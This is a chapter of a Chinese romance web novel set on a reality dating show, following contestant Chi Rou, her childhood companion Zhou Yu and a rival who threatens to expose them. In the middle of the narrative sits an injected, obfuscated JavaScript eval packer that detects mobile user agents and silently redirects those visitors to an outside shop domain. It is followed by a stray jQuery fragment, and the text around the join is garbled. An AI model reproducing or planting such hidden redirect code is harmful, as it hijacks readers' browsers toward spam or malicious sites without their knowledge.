9. 同居
    主持人及时接收到场上气氛的变化信息,露出一个搞事的笑容。

    【那这样看来,周老师应该也很期待接下来与身边符合你灵魂伴侣要求的女嘉宾们有更深入的接触和了解。】

    她话题转向其他人,聊起了江仲廉的兴趣爱好。池柔趁机走神,眉眼下压,偷偷瞪周予:是是是,这话就是嫌她这个妹妹又矮又笨又不思进取呗!

    “臭男人。”

    金弋捕捉到少女微弱的表情变化,一同低下头,声音清朗,“你说什么?”

    “没什么。”她收起鄙夷的表情,改在内心悄悄咒骂他。金弋看着少女鬼马灵动的神情,心里止不住欢喜。

    这一次,他一定要把握住机会,争取到她。

    **

    众采结束,接下来还有主咖镜头的几条单采,小陈进来将池柔和周予带出录播大厅,挥了挥手上的手机,“今天两位老师表现很好,可以先回去休息了。我今天会帮你们订好三天后前往三亚的机票,同时将酒店信息和整个录制过程中需要注意的事项都发给你们,大家保持联系。”

    想着自己还有一大包衣服留在外面,池柔同小陈道谢后独自摸到休息间里来。没想到燕晚晚刚好也在里面等待导播喊她录单采,起身朝池柔走过去,媚眼微眯,“这个圈子还真小,两年前我们没能做成同事,如今倒需要以这样的方式做一段时间的‘室友’。”

    《热恋三十三天》的脚本里,男女嘉宾有不少需要一同吃住的镜头戏份,只有在配对成功之后才可以单独拥有自己的休息间。

    她居高临下的看着面前面容甜美的少女,脸色垮下来,“你方才在笑我的时候我都看到了。你是不是觉得我还会跟两年前一样临阵脱逃?我告诉你,这一次不管是欧阳凛还是张淮野,我燕晚晚都要定了。”

    欧阳凛?时隔两年半,她倒是第一次听到这个名字,心里泛起涟漪,嘴上却不饶人。

    “两年前的事儿我早忘了,倒辛苦你还记得。”正说着,她突然起了歹心,嘴角上扬,浮现一个坏笑,“哦对了,两年前到时候有一个叫李春娥的女生和我一起做过两个月试配音训练生,应该不是你吧?”

    两年前为了彻底摆脱原生家庭的影响,女人改作主播行业的时候给自己取新艺名“燕晚晚”,现在几乎没人知道她以前曾经叫“李春娥”这样土气的名字。她脸上青一阵白一阵,直起身子有些尴尬。

    不过她立刻反应过来,回击道,“那个叫周予的博士口中从小一起长大的‘妹妹’就是你,对吧?别人看不出来,却骗不了我。那年他带着口罩陪你出席漫展首秀,后来又在你直播的时候不小心入镜那次,我都记着。你说,要是节目组知道你们私下早就认识,会不会取消你们的资格?”

    取消资格?绝对不行!

    原本池柔选做声优和配音工作这一行,家里没有任何人看好,就连她和周予第一次吵架吵到差点老死不相往来,也是为了她这个看上去纯属“不务正业”的爱好。如今她好不容易逮着这个机会可以挣一笔钱,顺便丰富自己的履历以投递更好的配音公司,如果这时候被节目组取消资格,那她还不如一头撞死。

    “我和他什么关系都没有。你也看到了,他刚从埃及回来,择偶标准也跟我八杆子打不到一起,一定不会影响你和他走近的。”

    “呵,”她看着池柔粉色背带长裤,一副大一新生的稚嫩模样,不以为意地撩动长卷发,仰头笑道,“我的目标又不是他,他喜欢谁,倒也没那么重要。我只是警告你,咱们现在手里互相握着对方的黑料,不如就彼此放过,彼此成全。你说呢?”

    她本来也没想要怎么样她,可被人威胁的滋味不好受。

    没关系,她会为金钱低头。

    “行,我们各自安好,你钓你的男人,我挣我的档期费。”

    提着撕破的衣服走出休息室,办公室里许多人已经下班,连灯都关了不少。行至电梯口,她抬头看着不断显示屏上变化的数字,思绪一点点飘远。

    他怎么会突然回来?难道真是因为楚乐告诉他,自己又一次离经叛道,参与了在他看来纯粹是胡闹的事情,他才会不惜以加入进来为代价都要回来逮她?

    恐怕只是他仍旧强烈的占有欲和控制欲作祟吧,她太了解他。

    正胡思乱想着,身后突然伸出一只大手按亮电梯下行的按钮,吓得她往后一缩,刚好靠在周予宽厚肩膀上。

    男人低头瞧她又是那副娇憨的模样,眉眼含笑。

    “等电梯主动上来接你?”

    啊?

    原来她只顾走神,连电梯按钮都没按。

    “艸。”池柔低声咒骂一句,主动站远两步,将目光落在开始攀升的电梯显示屏上。“哥你最好不要和我一起走出去,免得被人拍到。”

    说话间,电梯已经到了,周予沉默着仍跟着她走进去,池柔按亮一楼按钮之后后退两步,看着他按下负二楼车库的按钮,顺便将自己刚才按亮的一楼电梯按钮长按取消掉。

    “哥你干嘛?”

    周予收回手,双手插兜,任由她和自己保持距离,“一起。”

    一起去车库,他开车来的?他啥时候有的车?一回来就买车?

    那……他还会回埃及吗?

    她脑子里一团浆糊,余光看他两眼,没忍住开口问道,“你一回来就买车?”

    下行到负二楼,周予迈步出来看她还愣在电梯里,伸出一只手拎起她后颈衣领带她出来。

    “楚乐来接我,顺道送你回去。”

    空旷的车库通道口,一辆灰黑色奥迪RS7停在两人面前,楚乐一身牛仔套装内搭纯白背心,摘下墨镜从车里走出来,手撑在引擎盖上朝两人打招呼。

    “二位可真是让我久等。”

    周予接过池柔手里的包,打开后座车门放进去后,眼神看向少女,带着玩味,“某只小猫忘了按电梯。”

    就知道说她!

    池柔仰起头,一脸不服气,“明明是哥你出来得比较晚。”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460939|141721||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>没想到他伸手捏住她的脸蛋,嘴角笑容漾开,“辛苦你等我。”

    她才没有等他!

    “懒得跟你说。”少女瘪嘴,推开他自己一个侧身上了后座。

    周予没吭声,也迈步子上了后座,硬是逼得池柔又往里挪。

    楚乐上车看见这架势,嘴角抽搐:“咋,这是把我当司机了是吧?”

    见色忘义的男人,眼里装得了女人就看不见兄弟了。

    车子开出车库的间隙,他开口问楚乐道,“我的行李去酒店帮我拿了吗?”

    楚乐一边打方向盘,一边伸手指了指后备箱。

    “拿了。”

    他才刚回来,住酒店池柔能理解,但离节目开拍就剩三天,他带着行李从酒店离开要做什么?

    少女略往中间挪移一点,身体前倾看向旁边男人,小心翼翼道,“你带着行李要去哪儿?”

    闻到她身上纸杯蛋糕淡淡的香气,周予心情很好,“换一家酒店住。”

    这一句话点醒她,她想起自己这个无比挑剔的哥哥除了腹黑和高冷以外,还特别认床。为了让自己出门读大学和出国能睡得着,他每次出门都会把从小睡到大的一些贴身用品带着。

    “因为睡不着吗?就没有带条毛毯、被单什么的回来?”他不会录完节目还打算回去吧?

    “回来得急,忘了。”

    知道她要上这种节目,他打完电话提交完电子资料就开始收拾行李订机票,第二天天不亮就给博物馆那边负责人打电话道歉,说自己在国内有不得不处理的急事,要坐最近的一班飞机回国。等身处万里高空,他困意来袭时,才发现自己的行李之中少了可以让自己安睡的东西。

    话题似乎又绕回自己身上,池柔缩回去,声音又小了一点,“那换个酒店不也还是睡不着吗……”

    她还记得自己这些习惯,周予内心悸动,细长眉眼轻扫少女面庞,鸦睫扇动如春风拂面。

    “还住原来的地方吗?”

    他问得池柔一愣。

    原来的地方,他还好意思提?

    池柔现在住的地方,两年半以前原本是周予念大二之后一个人从学校搬出来租住的房子,就在江洲大学旁边。

    房子不大,有一间卧房带一间书房,池柔念大学开始第一次做声优试配和偶尔上线直播赚点外快,就是在他的那间书房里。

    他离开后租约到期,池柔懒得搬家,就顺势租下了那套房子住到现在。

    一股无名火“噌”就从胸腔冒出来,她立刻摆手否认:“没有,那破地方住着干嘛?早就搬了。”

    可周予千年狐狸似的,只看她一眼,男人便笑着转头,拍了拍楚乐的肩膀,“江洲大学旁边,临江湾公馆小区。”

    “真搬了。”她死鸭子嘴硬。

    周予低头看一眼她的包,选择无情拆穿她,“你补妆的时候我看见钥匙了。”

    她又被看穿了。挫败感涌上心头,少女气势怂下去,靠坐在椅背上不说话。